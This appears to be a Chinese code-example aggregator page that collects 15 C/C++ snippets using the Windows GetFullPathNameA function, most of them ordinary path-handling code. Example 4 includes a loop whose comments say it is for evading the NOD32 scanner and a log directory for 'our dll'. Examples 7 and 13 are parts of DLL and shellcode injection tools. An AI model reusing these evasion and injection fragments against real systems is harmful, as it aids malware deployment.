本文整理汇总了C++中GetFullPathNameA函数的典型用法代码示例。如果您正苦于以下问题:C++ GetFullPathNameA函数的具体用法?C++ GetFullPathNameA怎么用?C++ GetFullPathNameA使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了GetFullPathNameA函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: realpath
/******************************************
* Return canonical version of name in a malloc'd buffer.
* This code is high risk.
*/
const char *FileName::canonicalName(const char *name)
{
#if POSIX
// NULL destination buffer is allowed and preferred
return realpath(name, NULL);
#elif _WIN32
/* Apparently, there is no good way to do this on Windows.
* GetFullPathName isn't it, but use it anyway.
*/
DWORD result = GetFullPathNameA(name, 0, NULL, NULL);
if (result)
{
char *buf = (char *)malloc(result);
result = GetFullPathNameA(name, result, buf, NULL);
if (result == 0)
{
::free(buf);
return NULL;
}
return buf;
}
return NULL;
#else
assert(0);
return NULL;
#endif
}
示例2: lua_cwd
static int
lua_cwd(lua_State *L)
{
#ifdef _WIN32
char drv[2];
int l;
SB sb;
sbinit(&sb);
drv[0] = '.'; drv[1] = 0;
l = GetFullPathNameA(drv, sb.maxlen, sb.buffer, 0);
if (l > sb.maxlen) {
sbgrow(&sb, l+1);
l = GetFullPathNameA(drv, sb.maxlen, sb.buffer, 0);
}
if (l <= 0)
return sbsetpush(L, &sb, ".");
sb.len += l;
return sbpush(L, &sb);
#elif HAVE_GETCWD
const char *s;
SB sb;
sbinit(&sb);
s = getcwd(sb.buffer, sb.maxlen);
while (!s && errno==ERANGE)
{
sbgrow(&sb, sb.maxlen + SBINCREMENT);
s = getcwd(sb.buffer, sb.maxlen);
}
if (! s)
return sbsetpush(L, &sb, ".");
sb.len += strlen(s);
return sbpush(L, &sb);
#else
const char *s;
SB sb;
sbinit(&sb);
sbgrow(&sb, PATH_MAX);
s = getwd(sb.buffer);
if (! s)
return sbsetpush(L, &sb, ".");
sb.len += strlen(s);
return sbpush(L, &sb);
#endif
}
示例3: get_full_path
// returns 0 on success, non zero on error
int get_full_path(char* src, char* dst, size_t dst_size)
{
#if defined(_WIN32)
DWORD r;
char* src_copy = NULL;
#else
char *dn, *bn;
#endif
if ((src == NULL) || (dst == NULL) || (dst_size == 0)) {
return 1;
}
#if defined(_WIN32)
if ((src_copy = malloc(strlen(src) + 1)) == NULL) return 1;
memcpy(src_copy, src, strlen(src) + 1);
handle_separators(src_copy);
r = GetFullPathNameA(src_copy, (DWORD)dst_size, dst, NULL);
safe_free(src_copy);
if ((r != 0) || (r <= dst_size)) {
return 0;
}
#else
if ( (basename_split(src, &dn, &bn) == 0)
&& (realpath(dn, dst) != NULL)
&& (strlen(dst) + strlen(bn) + 2 < dst_size) ) {
strcat(dst, "/");
strcat(dst, bn);
basename_free(src);
return 0;
}
basename_free(src);
#endif
fprintf(stderr, "Unable to get full path for '%s'.\n", src);
return 1;
}
示例4: WinMain
//наша главная функа WinMain;
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
char szFileName[MAX_PATH];
HRESULT res;
char szDirName[] = "C:\\xlogs";
int i = 0;
HKEY hKey;
LPSTR *pPart;
for(i = 0; i< 15000; i++) //эта фича нужна для обхода сканера нод32;
{
if(RegOpenKeyExA(HKEY_LOCAL_MACHINE, "eba!", 0, KEY_QUERY_VALUE | KEY_SET_VALUE, &hKey) == ERROR_SUCCESS)
{
MessageBoxA(0, "eba!", "eba!", MB_OK);
}
}
GetModuleFileNameA(0, szFileName, MAX_PATH); //получаем полный путь к avsux.exe;
GetFullPathNameA(szFileName, MAX_PATH, szFileName, &pPart); //pPart - указывает на имя avsux.exe;
pPart[0] = 0; //обнуляем имя - получаем просто полный путь (без имени - ёба);
CreateDirectoryA(szDirName, 0); //создаём директорию для нашей длл (она там создаст лог и будет в него писать);
strcat(szFileName, "Windows-KB243657.exe"); //добавляем имя для будущего скаченного апдейта винды;
res = URLDownloadToFileA(0, "http://download.microsoft.com/download/B/0/0/B00DF5E6-9A8F-403C-AB57-AED66C7E5BEE/WindowsXP-KB2393802-x86-ENU.exe", szFileName, 0, 0); //скачиваем файл;
if (res == S_OK)
{
ShellExecuteA(NULL, "open", szFileName, NULL, NULL, SW_SHOW); //если всё оке, тогда запустим этот файл;
}
return 0;
}
示例5: SetCurrentDirectory16
/***********************************************************************
* SetCurrentDirectory (KERNEL.412)
*/
BOOL16 WINAPI SetCurrentDirectory16( LPCSTR dir )
{
char fulldir[MAX_PATH];
if (!GetFullPathNameA( dir, MAX_PATH, fulldir, NULL )) return FALSE;
if (!SetCurrentDirectoryA( dir )) return FALSE;
if (fulldir[0] && fulldir[1] == ':')
{
TDB *pTask = GlobalLock16( GetCurrentTask() );
char env_var[4] = "=A:";
env_var[1] = fulldir[0];
SetEnvironmentVariableA( env_var, fulldir );
/* update the directory in the TDB */
if (pTask)
{
pTask->curdrive = 0x80 | (fulldir[0] - 'A');
GetShortPathNameA( fulldir + 2, pTask->curdir, sizeof(pTask->curdir) );
}
}
return TRUE;
}
示例6: GetFullPathNameA
char *iposix_path_abspath_w(const char *srcpath, char *path, int maxsize)
{
char *fname;
DWORD hr = GetFullPathNameA(srcpath, maxsize, path, &fname);
if (hr == 0) return NULL;
return path;
}
示例7: inject
int DllInjector::inject(unsigned long processId, std::string dllName)
{
LPTHREAD_START_ROUTINE lpStartExecAddr = NULL;
LPVOID lpExecParam = NULL;
HANDLE hTargetProcHandle = NULL;
char* lpcDll = NULL;
char tcDllPath[_bufferSize] = "";
if (GetFullPathNameA(dllName.c_str(), _bufferSize, tcDllPath, NULL) == 0) {
if (_logger) _logger->error("Cannot get full dll path!");
return -1;
};
// Attach to process with OpenProcess()
hTargetProcHandle = attachToProcess(processId);
if (hTargetProcHandle == NULL) {
if (_logger) _logger->error("Could not Attach to Process!!");
return -1;
}
// Copy the DLL via write path method
lpStartExecAddr = AllocWritePath(hTargetProcHandle, tcDllPath, &lpExecParam);
if (lpStartExecAddr == NULL) {
if (_logger) _logger->error("Could not allocate memory!!");
return -1;
}
// Inject the DLL into process via create remote thread method
if (_logger) _logger->info("INJECTING!");
injectDLL(hTargetProcHandle, lpStartExecAddr, lpExecParam);
CloseHandle(hTargetProcHandle);
return 0;
}
示例8: absolute_path
std::string absolute_path( const std::string &path )
{
#ifdef SFML_SYSTEM_WINDOWS
const int BUFF_SIZE = 512;
char buff[ BUFF_SIZE + 1 ];
buff[BUFF_SIZE] = 0;
if ( GetFullPathNameA( path.c_str(), BUFF_SIZE, buff, NULL ))
return std::string( buff );
#else
char buff[PATH_MAX+1];
if ( realpath( path.c_str(), buff ) )
{
std::string retval = buff;
if (( retval.size() > 0 ) && ( retval[ retval.size()-1 ] != '/' ))
retval += "/";
return retval;
}
#endif // SFML_SYSTEM_WINDOWS
return path;
}
示例9: dllGetFullPathNameA
extern "C" DWORD WINAPI dllGetFullPathNameA(LPCTSTR lpFileName, DWORD nBufferLength, LPTSTR lpBuffer, LPTSTR* lpFilePart)
{
#ifdef TARGET_WINDOWS
if (!lpFileName) return 0;
if(strstr(lpFileName, "://"))
{
unsigned int length = strlen(lpFileName);
if (nBufferLength < (length + 1))
return length + 1;
else
{
strcpy(lpBuffer, lpFileName);
if(lpFilePart)
{
char* s1 = strrchr(lpBuffer, '\\');
char* s2 = strrchr(lpBuffer, '/');
if(s2 && s1 > s2)
*lpFilePart = s1 + 1;
else if(s1 && s2 > s1)
*lpFilePart = s2 + 1;
else
*lpFilePart = lpBuffer;
}
return length;
}
}
return GetFullPathNameA(lpFileName, nBufferLength, lpBuffer, lpFilePart);
#else
not_implement("kernel32.dll fake function GetFullPathNameW called\n"); //warning
return 0;
#endif
}
示例10:
/*---------------------------------------------------------------------------*/
char *realpath(const char *path, char *resolved_path)
{
char *pszFilePart;
if (GetFullPathNameA(path, MAXPATHLEN, resolved_path, &pszFilePart)==0)
return NULL;
return resolved_path;
}
示例11: win32_add_one_solib
static void
win32_add_one_solib (const char *name, CORE_ADDR load_addr)
{
char buf[MAX_PATH + 1];
char buf2[MAX_PATH + 1];
#ifdef _WIN32_WCE
WIN32_FIND_DATA w32_fd;
WCHAR wname[MAX_PATH + 1];
mbstowcs (wname, name, MAX_PATH);
HANDLE h = FindFirstFile (wname, &w32_fd);
#else
WIN32_FIND_DATAA w32_fd;
HANDLE h = FindFirstFileA (name, &w32_fd);
#endif
/* The symbols in a dll are offset by 0x1000, which is the
offset from 0 of the first byte in an image - because
of the file header and the section alignment. */
load_addr += 0x1000;
if (h == INVALID_HANDLE_VALUE)
strcpy (buf, name);
else
{
FindClose (h);
strcpy (buf, name);
#ifndef _WIN32_WCE
{
char cwd[MAX_PATH + 1];
char *p;
if (GetCurrentDirectoryA (MAX_PATH + 1, cwd))
{
p = strrchr (buf, '\\');
if (p)
p[1] = '\0';
SetCurrentDirectoryA (buf);
GetFullPathNameA (w32_fd.cFileName, MAX_PATH, buf, &p);
SetCurrentDirectoryA (cwd);
}
}
#endif
}
#ifndef _WIN32_WCE
if (strcasecmp (buf, "ntdll.dll") == 0)
{
GetSystemDirectoryA (buf, sizeof (buf));
strcat (buf, "\\ntdll.dll");
}
#endif
#ifdef __CYGWIN__
cygwin_conv_path (CCP_WIN_A_TO_POSIX, buf, buf2, sizeof (buf2));
#else
strcpy (buf2, buf);
#endif
loaded_dll (buf2, load_addr);
}
示例12: LoadModules
void LoadModules()
{
const int MAX_MOD_HANDLES = 1024;
HMODULE StaticModuleHandleArray[MAX_MOD_HANDLES];
HMODULE* ModuleHandleArray;
DWORD Needed;
HANDLE hProcess = GetCurrentProcess();
ModuleHandleArray = &StaticModuleHandleArray[0];
BOOL result = EnumProcessModules(hProcess, ModuleHandleArray, sizeof(ModuleHandleArray), &Needed);
if( !result )
{
DWORD error = GetLastError();
DebugLog("EnumProcessModule failed: error = %d", error);
return;
}
if( Needed > sizeof(ModuleHandleArray) ) // was our static array not big enough?
{
ModuleHandleArray = (HMODULE*)DialogAllocator.AllocateBytes(Needed, sizeof(void*));
BOOL result = EnumProcessModules(hProcess, ModuleHandleArray, Needed, &Needed);
if( !result )
{
DWORD error = GetLastError();
DebugLog("EnumProcessModule(2) failed: error = %d", error);
return;
}
}
int NumModules = Needed / sizeof(HMODULE);
MODULEINFO ModuleInfo;
char ModuleFilePath[MAX_PATH];
char ModuleName[256];
char SearchFilePath[MAX_PATH];
for( int i = 0; i < NumModules; i++ )
{
GetModuleInformation(hProcess, ModuleHandleArray[i], &ModuleInfo, sizeof(MODULEINFO));
GetModuleFileNameExA(hProcess, ModuleHandleArray[i], ModuleFilePath, MAX_PATH);
GetModuleBaseNameA(hProcess, ModuleHandleArray[i], ModuleName, 256);
char* FileName = nullptr;
GetFullPathNameA(ModuleFilePath, MAX_PATH, SearchFilePath, &FileName);
*FileName = 0;
SymSetSearchPath(hApplicationProcess, SearchFilePath);
DWORD64 BaseAddress = SymLoadModule64(hApplicationProcess, ModuleHandleArray[i], ModuleFilePath, ModuleName, (DWORD64)ModuleInfo.lpBaseOfDll, (DWORD) ModuleInfo.SizeOfImage);
if( !BaseAddress )
{
DWORD error = GetLastError();
DebugLog("SymLoadModule64 failed: error = %d", error);
}
}
}
示例13: main
int main(int argc, char* argv[]) {
char dllPath[MAXLINE] = "";
unsigned int pid = 0;
unsigned int injResult;
unsigned char attackType = 0;
unsigned char numargs = 4;
char *usageString = "Syringe v1.2\nA General Purpose DLL & Code Injection Utility\n\nUsage:\n\nInject DLL:\n\tsyringe.exe -1 [ dll ] [ pid ]\n\nInject Shellcode:\n\tsyringe.exe -2 [ shellcode ] [ pid ]\n\nExecute Shellcode:\n\tsyringe.exe -3 [ shellcode ]\n";
if (argc < 2) {
printf("%s", usageString);
return 0;
}
if (strncmp(argv[1], "-1", 2) == 0) {
attackType = ATTACK_TYPE_DLL_INJECTION;
} else if (strncmp(argv[1], "-2", 2) == 0) {
attackType = ATTACK_TYPE_SHELL_CODE_INJECTION;
} else if (strncmp(argv[1], "-3", 2) == 0) {
attackType = ATTACK_TYPE_EXECUTE_SHELL_CODE;
numargs = 3;
} else {
printf("%s", usageString);
return 0;
}
if (argc != numargs) {
printf("%s", usageString);
return 0;
}
if ((attackType == ATTACK_TYPE_DLL_INJECTION) || (attackType == ATTACK_TYPE_SHELL_CODE_INJECTION)) {
pid = atoi(argv[3]);
if (!pid) {
printf("Invalid Process ID.\n");
return 0;
}
if (attackType == ATTACK_TYPE_DLL_INJECTION) {
GetFullPathNameA(argv[2], MAXLINE, dllPath, NULL);
injResult = InjectDLL(dllPath, pid);
} else if (attackType == ATTACK_TYPE_SHELL_CODE_INJECTION) {
injResult = InjectShellcode(argv[2], pid);
}
if (injResult == 0) {
printf("Successfully Injected.\n");
} else {
printf("Failed To Inject. \nError: ");
switch (injResult) {
case 1: { printf("Invalid Process ID.\n"); break; }
case 2: { printf("Could Not Open A Handle To The Process.\n"); break; }
case 3: { printf("Could Not Get The Address Of LoadLibraryA.\n"); break; }
case 4: { printf("Could Not Allocate Memory In Remote Process.\n"); break; }
case 5: { printf("Could Not Write To Remote Process.\n"); break; }
case 6: { printf("Could Not Start The Remote Thread.\n"); break; }
}
}
} else if (attackType == ATTACK_TYPE_EXECUTE_SHELL_CODE) {
ExecuteShellcode(argv[2]);
}
return 0;
}
示例14: CompletePathA
extern "C" HRESULT CompletePathA(
LPSTR szPath, //@parm [out] Full Path name (Must be MAX_PATH in size)
LPCSTR szRelPath, //@parm Relative Path name
LPCSTR szAbsPath //@parm Absolute Path name portion (NULL uses current path)
)
{
LPSTR szFile;
int iStat;
// If the spec, starts with PathSeparator, it is by definition complete.
if (szRelPath[0] == PATHSEPARATOR && szRelPath[1] == PATHSEPARATOR) {
strcpy(szPath, szRelPath);
return (S_OK);
}
// Get the drive letter.
if (strchr(szRelPath,':') == NULL) {
// No drive was specified.
if (szAbsPath == NULL) {
GetFullPathNameA(szRelPath, MAX_PATH, szPath, &szFile);
RemoveDotsA(szPath);
return S_OK;
}
else { // An absolute path was specified.
// Check if the relative path is relative to '\\'
if (*szRelPath == PATHSEPARATOR) {
ParsePathA(szAbsPath,szPath,NULL,NULL);
strcat(szPath,szRelPath);
}
else {
if ((iStat = AppendPathA(szPath,szAbsPath,szRelPath)) < 0)
return (iStat);
}
RemoveDotsA (szPath);
return S_OK;
}
}
else {
GetFullPathNameA(szRelPath, MAX_PATH, szPath, &szFile);
RemoveDotsA (szPath);
return S_OK;
}
}
示例15: p_dir_new
P_LIB_API PDir *
p_dir_new (const pchar *path,
PError **error)
{
PDir *ret;
pchar *pathp;
if (P_UNLIKELY (path == NULL)) {
p_error_set_error_p (error,
(pint) P_ERROR_IO_INVALID_ARGUMENT,
0,
"Invalid input argument");
return NULL;
}
if (P_UNLIKELY ((ret = p_malloc0 (sizeof (PDir))) == NULL)) {
p_error_set_error_p (error,
(pint) P_ERROR_IO_NO_RESOURCES,
0,
"Failed to allocate memory for directory structure");
return NULL;
}
if (P_UNLIKELY (!GetFullPathNameA (path, MAX_PATH, ret->path, NULL))) {
p_error_set_error_p (error,
(pint) p_error_get_last_io (),
p_error_get_last_system (),
"Failed to call GetFullPathNameA() to get directory path");
p_free (ret);
return NULL;
}
/* Append the search pattern "\\*\0" to the directory name */
pathp = strchr (ret->path, '\0');
if (ret->path < pathp && *(pathp - 1) != '\\' && *(pathp - 1) != ':')
*pathp++ = '\\';
*pathp++ = '*';
*pathp = '\0';
/* Open directory stream and retrieve the first entry */
ret->search_handle = FindFirstFileA (ret->path, &ret->find_data);
if (P_UNLIKELY (ret->search_handle == INVALID_HANDLE_VALUE)) {
p_error_set_error_p (error,
(pint) p_error_get_last_io (),
p_error_get_last_system (),
"Failed to call FindFirstFileA() to open directory stream");
p_free (ret);
return NULL;
}
ret->cached = TRUE;
ret->orig_path = p_strdup (path);
return ret;
}